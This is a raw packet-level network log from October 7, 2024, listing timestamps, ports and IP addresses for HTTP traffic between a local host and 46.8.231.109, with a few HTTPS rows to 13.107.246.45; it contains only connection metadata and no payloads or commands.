Oct 7, 2024 18:43:16.466991901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.466991901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.466991901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.467004061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.467012882 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.467039108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.467063904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468070984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468146086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468152046 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468231916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468244076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468255043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468265057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468297005 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468305111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468316078 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468326092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468336105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468358994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468358994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468417883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468429089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468439102 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468447924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468458891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468461990 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468461990 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468468904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468480110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468488932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468497992 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468532085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468532085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468621969 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468633890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468643904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468688011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468688011 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468734026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468744993 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468754053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468765974 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468776941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468817949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468817949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468847990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468858957 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468868017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468878031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468888998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468899012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468920946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468920946 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468926907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468938112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468946934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468956947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468961954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468976021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468980074 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468980074 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.468985081 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.468996048 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469002008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469012022 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469022036 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469043970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469043970 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469079018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469171047 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469182968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469193935 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469203949 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469222069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469244957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469244957 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469275951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469286919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469295979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469305992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469317913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469321012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469321012 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469351053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469357967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469367981 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469400883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469400883 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469445944 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469640970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469652891 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469661951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469695091 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469696045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469708920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469719887 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469739914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469757080 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469764948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469777107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.469840050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.469881058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470149994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470160007 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470197916 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470235109 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470263958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470276117 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470287085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470314980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470333099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470344067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470367908 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470380068 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.470427990 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.470427990 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.487406969 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.544755936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544814110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.544917107 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544928074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544936895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544946909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544956923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544965982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.544985056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.545025110 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.545926094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545934916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545941114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545945883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545954943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545963049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.545972109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546013117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546013117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546132088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546143055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546153069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546161890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546170950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546180010 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546211004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546211004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546231031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546262026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546271086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546279907 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546288013 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546299934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546317101 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546339989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546350956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546382904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546382904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546435118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546444893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546453953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.546490908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546611071 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.546670914 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.546735048 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.546777964 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.546853065 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.546854019 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.546930075 CEST	443	49705	13.107.246.45	192.168.2.7
Oct 7, 2024 18:43:16.546993017 CEST	49705	443	192.168.2.7	13.107.246.45
Oct 7, 2024 18:43:16.550136089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550144911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550154924 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550163984 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550173998 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550182104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550192118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550246954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550246954 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550403118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550412893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550421953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550431967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550441027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550460100 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550493002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550502062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550507069 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550513983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550523043 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550532103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550546885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550555944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550559998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550559998 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.550566912 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550575018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.550589085 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.551407099 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.551765919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551775932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551785946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551795006 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551803112 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551811934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551816940 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.551822901 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.551887989 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.551887989 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552022934 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552032948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552042961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552052975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552074909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552084923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552094936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552103996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552103996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552103996 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552117109 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552126884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552139044 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552149057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552158117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552158117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552161932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552206039 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552206039 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552212954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552222967 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552232027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552242994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552253008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552263975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552273989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552279949 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552284956 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552294016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552297115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552314997 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552319050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552328110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552337885 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552349091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552360058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552364111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552364111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552371025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552381992 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552393913 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552403927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552407026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552413940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552450895 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552452087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552464008 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552467108 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552475929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552485943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552495003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552527905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552529097 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552537918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552547932 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552560091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552571058 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552572966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552572966 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552619934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552619934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552649021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552659988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552670002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552705050 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552722931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552783966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552794933 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552804947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552815914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.552855015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.552891016 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553240061 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553251028 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553261042 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553340912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553340912 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553374052 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553384066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553422928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553422928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553433895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553442955 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.553471088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553471088 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.553512096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.627618074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627700090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627707958 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627717972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627727985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627737045 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627747059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.627866983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.627866983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.627866983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.627866983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.628117085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.628190994 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629234076 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629242897 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629252911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629261017 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629271030 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629282951 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629292011 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629297018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629297018 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629334927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629334927 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629674911 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629719019 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629739046 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629749060 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629759073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629769087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.629797935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629797935 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.629842043 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630012989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630023003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630098104 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:16.630098104 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630110025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630119085 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:16.630127907 CEST	80	49699	46.8.231.109	192.168.2.7
